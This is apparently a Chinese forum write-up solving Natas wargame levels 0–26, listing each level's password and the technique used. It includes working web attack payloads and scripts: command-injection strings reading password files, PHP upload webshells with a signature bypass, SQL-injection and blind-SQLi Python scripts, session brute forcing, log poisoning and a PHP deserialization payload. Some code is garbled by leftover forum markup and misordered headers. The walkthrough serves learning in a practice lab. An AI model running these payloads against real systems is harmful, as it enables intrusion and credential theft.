前言:
Natas是一个教授服务器端Web安全基础知识的 wargame,通过在每一关寻找Web安全漏洞,来获取通往下一关的秘钥,适合新手入门Web安全。
接下来给大家分享一下,1-20题的WriteUp。
Natas0:
提示密码就在本页,右键查看源码,注释中发现
key
Key:gtVrDuiDfck831PqWsLEZy5gyDz1clto
知识点:查看页面源码
Natas1:
提示密码就在本页,但右键被禁用,可以使用
F12查看元素得到key。
(常用的查看源码方法:右键查看、
F12查看元素,给页面url前加’view-source:’查看,使用Linux Curl命令查看)
Key:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
知识点:查看页面源码
Natas2:
在源码中发现一个图片的链接,分析图片,无隐写内容,联想到目录权限问题,访问同级目录
http://natas2.natas.labs.overthewire.org/files,发现存在名为users.txt的文件,读取得到key。
Key:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
知识点:水平越权
Natas3:
在源码中发现提示:无信息泄露,谷歌这次不会发现它。提到了搜索引擎,猜测爬虫协议
robots.txt中存在信息泄露,访问网站爬虫协议http://natas3.natas.labs.overthewire.org/robots.txt,发现Disallow: /s3cr3t/,尝试访问一下该目录http://natas3.natas.labs.overthewire.org/s3cr3t/,发现了user.txt,读取得到key。
Key:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
知识点:爬虫协议
robots.txt
Natas4:
提示来源出错,合法用户只能来自
"http://natas5.natas.labs.overthewire.org/",在http的header中,referer代表从哪里跳转到本页面,只需要将该url写入到referer中即可。
(修改
referer的值,可以用Burp Suite抓包后修改,也可以使用firefox插件hackbar来完成,还可以使用curl命令的 --referer参数来实现。)
Key:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
知识点:页面来源伪造
Natas5:
提示不允许进入,没有登录,查看
cookie信息后发现存在loggedin项,且值为0,猜测该值代表是否登录,将其修改为1,得到key。
(
cookie信息是网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据,可以使用Burp Suite抓包后修改,也可以使用火狐的FireBug插件来编辑修改,还可以使用linux curl命令的 --cookie参数来修改)
Key:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
知识点:
cookie伪造
Natas6:
该题提供了
php源码,点击查看分析,发现调用了includes/secret.inc页面,在输入一个变量secret后,如果和includes/secret.inc中 预设的secret相同,则输出密码,尝试访问该页面—http://natas6.natas.labs.overthewire.org/includes/secret.inc,在其源码中发现预设字符——"FOEIUWGHFEEUHOFUOIU",将该字符输入到之前的表单查询中,得到key。
Key:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
知识点:
PHP Include
Natas7:
页面出现了两个选项,点击后跳转,观察
url发现了page参数,猜测可能存在任意文件读取漏洞,且源码给了提示,密码在/etc/natas_webpass/natas8 中,将/etc/natas_webpass/natas8设为page参数的值,成功读取到key。
Key:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
知识点:
任意文件读取漏洞
Natas8:
同样给了
php源码,审计源码,发现给了一个预设参数encodedSecret,以及一个加密函数encodeSecret, 该函数将secret参数先进行base64编码、然后用strrev 函数进行倒序,再用 bin2hex 函数转为16进制,返回结果。如果点击提交,且post传入的secret 参数值经加密后,等于 encodedSecret 参数的值,则输出key。至此,只需要将 encodedSecret的值逆推,然后post即可。
先把
’3d3d516343746d4d6d6c315669563362’从16进制转成字符,然后把该字符串倒序,最后将之base64解码,得到’oubWYf2kBqz',将该字符串post得到key。
Key:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
知识点:常见编码、
php函数
Natas9:
仍然给出源码,审计,发现使用了
php命令执行函数passthru,执行了grep命令,由此想到命令注入漏洞,且已知各等级密码均存储在/etc/natas_webpass目录下,使用;或|或&来截断grep命令,再用cat读取密码,用#注释掉后面的内容,构造如下:& cat /etc/natas_webpass/natas10 #,post得到key。
Key:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
知识点:命令注入漏洞
Natas10:
这题和上题类似,但使用了正则过滤,过滤掉了一些字符,无法继续截断,但可以利用
grep命令匹配密码来实现,grep支持正则,输入 [a-zA-Z] /etc/natas_webpass/natas11 #
即可得到
key。
Key:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
知识点:正则表达式、
grep命令
Natas11:
页面提示
cookie被异或加密保护,查看源码,发现了一个预定义参数和三个函数
参数:$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff") #猜测将showpassword设置为yes即可得到密码。
异或加密函数:
[PHP]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
|
function
xor_encrypt(
$in
){
$key
=
'<censored>'
; #预定义参数key
$text
=
$in
; #输入参数
$outText
=
''
; #输出参数
// Iterate through each character
for
(
$i
=0;
$i
<
strlen
(
$text
);
$i
++) { #
for
循环,遍历输入参数
$outText
.=
$text
[
$i
] ^
$key
[
$i
%
strlen
(
$key
)]; #将输入参数对应位和key对应位异或,key位数不够则从头循环,结果存到输出参数
}
return
$outText
; #返回加密结果
}
|
加载函数:
function loadData($def),加载data,将$_COOKIE["data"]解密还原,存为 $mydata 数组,返回$mydata。
保存函数:function saveData($d),将传入的参数,经过编码处理,存入$_COOKIE["data"]中。
主要思路就是得到构造新的输入参数,使得
"showpassword"=>"yes",编码后得到新的data。这就要求要知道key的值,而已有一个默认值,由此逆推得到key。
[PHP]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
|
<?php
$defaultdata
=
array
(
"showpassword"
=>
"no"
,
"bgcolor"
=>
"#ffffff"
);
$data
=
'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'
;
function
xor_encrypt(
$in
,
$out
) {
$key
=
''
;
$text
=
$in
;
for
(
$i
=0;
$i
<
strlen
(
$text
);
$i
++) {
$key
.=
$text
[
$i
] ^
$out
[
$i
];
}
return
$key
;
}
echo
xor_encrypt(json_encode(
$defaultdata
),
base64_decode
(
$data
));
?>
|
得到
key:$key = ’qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq’
再利用
key,构造新data:
[PHP]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
|
<?php
$defaultdata
=
array
(
"showpassword"
=>
"yes"
,
"bgcolor"
=>
"#ffffff"
);
function
xor_encrypt(
$in
) {
$key
=
'qw8J'
;
$text
=
$in
;
$outText
=
''
;
// Iterate through each character
for
(
$i
=0;
$i
<
strlen
(
$text
);
$i
++) {
$outText
.=
$text
[
$i
] ^
$key
[
$i
%
strlen
(
$key
)];
}
return
$outText
;
}
echo
base64_encode
(xor_encrypt(json_encode(
$defaultdata
)));
?>
|
得到新的
data:ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
替换
cookie中的data,得到key。
Key:EDXp0pS26wLKHZy1rDBPUZk0RK**IR3
知识点:常见编码、异或逆推、修改
cookie
Natas12:
文件上传页面,发现没做过滤,只是把上传后的文件名及后缀名修改了,思路就是上传一个简单的
php文件,读取/etc/natas_webpass/natas13。点击上传php文件,用burp拦截,修改name后缀为php,访问返回的php页面即可得到key 。
[PHP]
纯文本查看 复制代码
1
2
3
|
<?php
system(
'cat /etc/natas_webpass/natas13'
);
?>
|
Key:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
知识点:文件上传、抓包修改
Natas13:
还是文件上传,测试上传发现过滤,
exif_imagetype()函数,用于检验文件是否是图片,读取一个图像的第一个字节并检查其签名,只要在php文件最前面加上图片信息签名即可绕过。
[PHP]
纯文本查看 复制代码
1
2
3
4
5
|
GIF89a
<?php
system(
'cat /etc/natas_webpass/natas14'
);
?>
|
其余与
12题相同。
Key:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
知识点:文件上传,绕过签名检测
Natas14:
是一个登录界面,有源码,查看源码后发现是一个无过滤的
sql注入题,使用万能密码登录即可。
Username:admin" or 1=1 #
password没做空值校验,随便输入或不输入皆可。
Key:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
知识点:
sql万能密码
Natsa15:
依旧是
sql注入题,查看源码,分析一下,发现没有sql信息的回显,只有对用户名的判断,确定是sql盲注。
Sql查询语句如下:
[PHP]
纯文本查看 复制代码
1
|
$query
=
"SELECT * from users where username=\""
.
$_REQUEST
[
"username"
].
"\""
;
|
Databse构造语句如下:
[PHP]
纯文本查看 复制代码
1
2
3
4
|
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
|
猜测一下,是否存在
user=natas16,返回存在,因为每一关的key都长达32位,不容易爆破,使用注入得到password更合适一些。虽然sql语句中只查询了username,但可以使用and将对password的查询连接起来,构成布尔注入,使用like模糊查询,最终得到key。
Payload:
[PHP]
纯文本查看 复制代码
1
|
'username'
:
'natas16" AND password LIKE binary "%s"%字符'
|
脚本:
[Python]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
|
import
requests
url
=
"http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php"
chr
=
"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
payload
=
r
'natas16" AND password LIKE binary "%s" #'
#使用like模糊查询不会区分大小写,要带上binary。
key
=
"%"
while
len
(key) <
=
32
:
#循环32次
for
i
in
chr
:
#确定字符
a
=
key[:
-
1
]
+
i
+
key[
-
1
:]
print
a
req
=
requests.post(url
=
url,data
=
{
'username'
:payload
%
a})
if
"This user exists"
in
req.text:
key
=
a
print
key
print
key
#输出key
|
Key:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
知识点:
sql盲注之布尔盲注
Natas16:
这一关相较于之前的第
10题,加上了正则过滤,使得;|&`\'"无法使用,且在grep的检索中添加了引号,无法添加其他选项和参数。代码:
[PHP]
纯文本查看 复制代码
1
|
passthru
(
"grep -i \"$key\" dictionary.txt"
);
|
但在
PHP中,$()可以在引号中使用,因此,可以再次构造内层grep的正则匹配,即:
[PHP]
纯文本查看 复制代码
1
|
passthru
(
"grep-i "
(
$grep
^a etc/natas_webpasswd/natas17)wrong \
" dictionary.txt"
);
|
如果
password的首字母为a,内层检索到了内容,则返回不为空,与后面的查询连接,使得外层检索变形,从而不返回标志字符hello;
如果不为
a,则内层未检索到,返回为空,则继续进行外层检索,会输出标志字符wrong或其他内容。
抓包查看数据提交方式,是
get提交,格式为?needle=xxxx&submit=Search。
据此,构造脚本,得到
key。
脚本:
[Python]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
|
import
requests
key
=
''
char
=
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
[
/
color][
/
font][
/
align][align
=
left][font
=
宋体][color
=
Black]
[
/
color][
/
font][
/
align][align
=
left][font
=
宋体][color
=
Black]
while
len
(key) <
32
:
for
i
in
range
(
len
(char)):
payload
=
{
'needle'
:
'$(grep ^'
+
key
+
char
+
'.* /etc/natas_webpass/natas17)wrong'
,
'submit'
:
'Search'
}
req
=
requests.get(url
=
url,params
=
payload)
if
'wrong'
not
in
req.text:
key
+
=
char
print
key
|
Key:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
知识点:正则匹配,
php命令执行
Natas17:
分析源码,又是一道
sql注入题,与15题的内容类似,只是不再提供回显,所有echo均被注释掉了,查询语句如下:
猜测到
username为natas18,依旧是盲注的思想,但因为没有作为判断的回显,所以这次选择时间盲注,使用if()和sleep()函数完成注入。
脚本:
[Python]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
|
import
requests
[
/
color] [color
=
Black]
url
=
'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php'
key
=
''
for
i
in
range
(
1
,
33
):
a
=
32
c
=
126
while
a<c:
b
=
(a
+
c)
/
2
payload
=
r
'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "'
%
(b,i)
try
:
req
=
requests.post(url
=
url,data
=
{
"username"
:payload},timeout
=
2
)
except
requests.exceptions.Timeout,e:
a
=
b
+
1
b
=
(a
+
c)
/
2
continue
c
=
b
key
+
=
chr
(b)
print
key
|
Key:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
知识点:
sql盲注之时间盲注
Natas18:
一个登录界面,查看源码,发现没有连接数据库,使用
Session登录,且$maxid设定了不大的上限,选择采取爆破。
用
burp抓包,给headers里添加cookie项PHPSESSID,使用intruder的狙击模式,爆破PHPSESSID,从1-640,当为138时,成功登陆,得到key。
过程如图:
<ignore_js_op>
<ignore_js_op>
Key:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
知识点:
Session登录,暴力破解
Natas19:
提示,遇上一题源码类似,只是
PHPSESSID不连续。随便输入username和password,抓包观察PHPSESSID,发现是输入的信息,按照password-username的格式,由ascill码转化为16进制,猜测正确PHPSESSID,应该是id-admin,用python构造字典,burp抓包后使用intruder模块,导入字典后进行暴力破解。
字典脚本:
[Python]
纯文本查看 复制代码
1
2
3
4
5
6
7
|
a
=
[]
for
i
in
range
(
30
,
40
):
for
j
in
range
(
30
,
40
):
a.append(
'%d%d'
%
(i,j))
with
open
(
"1.txt"
,
"w"
)as f:
for
i
in
a:
f.write(i
+
"\n"
)
|
当
PHPSESSID=38392d61646d696e时,得到key。
Key:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
知识点:
Session登录,常见编码,暴力破解
Natas20:
读取源码,发现把
sessionID存到了文件中,按键值对存在,以空格分隔,如果$_SESSION["admin"]==1,则成功登陆,得到key。并且通过查询所提交的参数,也会被存到文件中,因此,可以采取注入键值对admin 1的方式来实现修改。
使用
burp抓包,将name参数修改位:name=111 %0Aadmin 1,得到key。
Key:IFekPyrQXftziDEsUr3x21sYuahypdgJ
知识点:
Session登录,注入参数
Natas21:
print "Password: <censored></pre>";[/mw_shl_code]
Natas22:
Natas24:
Natas25:
Natas26:
END~
提示
http://natas21.natas.labs.overthewire.org/页面和http://natas21-experimenter.natas.labs.overthewire.org页面同位,也就是共用服务器,session也是共用的。
查看第一个网页源码,发现主要功能就是判断
session[admin]=1后显示密码;
[PHP]
纯文本查看 复制代码
1
2
3
4
5
|
查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码;
if
(
$_SESSION
and
array_key_exists
(
"admin"
,
$_SESSION
)
and
$_SESSION
[
"admin"
] == 1) {
print
"You are an admin. The credentials for the next level are:<br>"
;
print
"<pre>Username: natas22\n"
;
print
"Password: <censored></pre>"
;
|
print "Password: <censored></pre>";[/mw_shl_code]
查看第二个网页源码,发现可以提交数据,更新session,虽然有POST参数校验,但仍可以注入admin=1。
可利用源码:
[PHP]
纯文本查看 复制代码
1
2
3
4
5
6
|
// if update was submitted, store it
if
(
array_key_exists
(
"submit"
,
$_REQUEST
)) {
foreach
(
$_REQUEST
as
$key
=>
$val
) {
$_SESSION
[
$key
] =
$val
;
}
}
|
直接在第二个页面提交数据,
burp抓包截取,在post参数最后加上admin=1,然后使用第二个网页的session id,更新第一个网页的session id,刷新得到key。
Key:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
知识点:
共用
session、session注入
Natas22:
查看源码,发现关键代码:
[PHP]
纯文本查看 复制代码
1
2
3
4
5
|
if
(
array_key_exists
(
"revelio"
,
$_GET
)) {
// only admins can reveal the password
if
(!(
$_SESSION
and
array_key_exists
(
"admin"
,
$_SESSION
)
and
$_SESSION
[
"admin"
] == 1)) {
header(
"Location: /"
);
}
|
header(“Location: /”)
中,
header
函数表示发送一个原始
Http Header
到客户端,指定
Location
是进行重定向,
/
表示本地,即刷新。
[PHP]
纯文本查看 复制代码
1
2
3
4
5
6
|
// if update was submitted, store it
if
(
array_key_exists
(
"submit"
,
$_REQUEST
)) {
foreach
(
$_REQUEST
as
$key
=>
$val
) {
$_SESSION
[
$key
] =
$val
;
}
}
|
如果
get参数中包含revelio,则输出key。
总结思路,先在
get参数中添加revelio,满足显示key条件,但要避免刷新,所以使用burp抓包,把第一次抓到的数据包放到Repeater中Go一下,这样可以避免第二次的跳转,在返回中看到了key。
Key:D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
知识点:
header重定向、burp截取抓包
Natas23:
登录题,查看源码,发现关键代码:
[PHP]
纯文本查看 复制代码
1
2
3
4
5
6
7
8
|
if
(
array_key_exists
(
"passwd"
,
$_REQUEST
)){
if
(
strstr
(
$_REQUEST
[
"passwd"
],
"iloveyou"
) && (
$_REQUEST
[
"passwd"
] > 10 )){
echo
"<br>The credentials for the next level are:<br>"
;
echo
"<pre>Username: natas24 Password: <censored></pre>"
;
}
else
{
echo
"<br>Wrong!<br>"
;
}
|
要求提交的passwd参数中包含字符iloveyou,且要其数值大于10。考察的就是php字符与数值比较时,会从开头截取数字,到字符前为止。所以构造passwd为11iloveyou即可。
Key:OsRmXFguozKpTZZ5X14zNO43379LZveg
知识点:php弱类型
还是登录题,查看源码,发现关键代码:
[AppleScript]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
|
<
?php
if
(
array_key_exists
(
"passwd"
,
$_REQUEST
)
)
{
if
(
!strcmp
(
$_REQUEST[
"passwd"
]
,
"<censored>"
)
)
{
echo
"<br>The credentials for the next level are:<br>"
;
echo
"<pre>Username: natas25 Password: <censored></pre>"
;
}
else
{
echo
"<br>Wrong!<br>"
;
}
}
|
存在
strcmp()函数,strcmp()函数的作用是比较两个字符串,相同则为0。由此自然想到了strcmp漏洞,strcmp函数无法比较数组,会返回0,将passwd输入为数组即可绕过。
Payload: [url]http://natas24.natas.labs.overthewire.org/?passwd[/url][]=1
Key:GHF6X7YwACaYYssHVY05cFq83hRktl4c
知识点:
strcmp绕过漏洞
查看源码,发现关键函数:
[PHP]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
function
setLanguage(){ #选择语言
/* language setup */
if
(
array_key_exists
(
"lang"
,
$_REQUEST
))
if
(safeinclude(
"language/"
.
$_REQUEST
[
"lang"
] ))#检查输入
return
1;
safeinclude(
"language/en"
);
}
function
safeinclude(
$filename
){ #检查输入参数
// check for directory traversal
if
(
strstr
(
$filename
,
"../"
)){ #禁止目录遍历
logRequest(
"Directory traversal attempt! fixing request."
);
$filename
=
str_replace
(
"../"
,
""
,
$filename
);
}
// dont let ppl steal our passwords
if
(
strstr
(
$filename
,
"natas_webpass"
)){ #文件访问控制
logRequest(
"Illegal file access detected! Aborting!"
);
exit
(-1);
}
// add more checks...
if
(
file_exists
(
$filename
)) { #检测目录是否存在
include
(
$filename
);
return
1;
}
return
0;
}
function
logRequest(
$message
){ #请求日志
$log
=
"["
.
date
(
"d.m.Y H::i:s"
,time()) .
"]"
; #时间日期
$log
=
$log
.
" "
.
$_SERVER
[
'HTTP_USER_AGENT'
];#加http_user_agent
$log
=
$log
.
" \""
.
$message
.
"\"\n"
; #加上message
$fd
=
fopen
(
"/var/www/natas/natas25/logs/natas25_"
. session_id() .
".log"
,
"a"
); #将日志信息写入文件
fwrite(
$fd
,
$log
);
fclose(
$fd
);
}
|
禁止目录遍历中,将
”../”替换成了”“,但这是可以绕过的,if是一次性把所有符合的替换掉,构造复合的参数即可绕过,例如:....//、..././。
而文件访问控制,则使得无法直接读取
key,但存在日志信息,日志信息中保存有http_user_agent,这可以是新的注入点,把读取文件的php命令写入其中,访问即可得到key。
先访问日志文件
../?lang=....//....//....//....//....//....//var/www/natas/natas25/logs/natas25_65pv1nmmkorshdjlem56ktptf5.log
再使用
burp抓包,修改HTTP_USER_AGRENT为:<?php include("/etc/natas_webpass/natas26")?>,在返回的日志文件中得到key。
Key:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
知识点:
绕过
if替换、代码审计
查看源码,发现了
php反序列化函数unserialize(),且可以通过cookie来控制unserialize()的变量,猜测存在php反序列化漏洞。
Php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。
Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。
php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。
关键代码:
[PHP]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
class
Logger{
private
$logFile
; #三个私有参数
private
$initMsg
;
private
$exitMsg
;
function
__construct(
$file
){ #类创建时调用
// initialise variables #初始化变量
$this
->initMsg=
"#--session started--#\n"
;
$this
->exitMsg=
"#--session end--#\n"
;
$this
->logFile =
"/tmp/natas26_"
.
$file
.
".log"
;
// write initial message #写入初始信息
$fd
=
fopen
(
$this
->logFile,
"a+"
);
fwrite(
$fd
,
$initMsg
);
fclose(
$fd
);
}
function
log(
$msg
){ #写入信息
$fd
=
fopen
(
$this
->logFile,
"a+"
);
fwrite(
$fd
,
$msg
.
"\n"
);
fclose(
$fd
);
}
function
__destruct(){ #类销毁时调用
// write exit message #写入退出信息
$fd
=
fopen
(
$this
->logFile,
"a+"
);
fwrite(
$fd
,
$this
->exitMsg);
fclose(
$fd
);
}
}
|
观察代码可以发现,在类销毁时调用的
__destruct()魔术方法,可以向任意文件写入信息。
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
而且,可以通过
cookie来写入序列化注入信息。
总结思路,通过
cookie来注入信息,利用反序列化漏洞来构造可以执行查看key的payload,写入到目录下即可。
Payload:
[PHP]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
|
<?php
class
Logger{
private
$logFile
;
private
$initMsg
;
private
$exitMsg
;
function
__construct(){ #注入信息
$this
->initMsg=
""
;
$this
->exitMsg=
"<?echo include '/etc/natas_webpass/natas27';?>"
;
$this
->logFile=
"img/aaa.php"
;
}
}
$test
=
new
Logger();
echo
serialize(
$test
);
echo
"\n"
;
echo
base64_encode
(serialize(
$test
)); #显示base64编码后的序列化字符串
?>
|
本地执行,得到
base64编码后的序列化字符串:
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL2FhYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9lY2hvIGluY2x1ZGUgJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jzs/PiI7fQ==
把字符串覆盖到
cookie[drawing]中,访问../img/aaa.php即可得到key。
Key:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
知识点:
php反序列化漏洞、代码审计
END~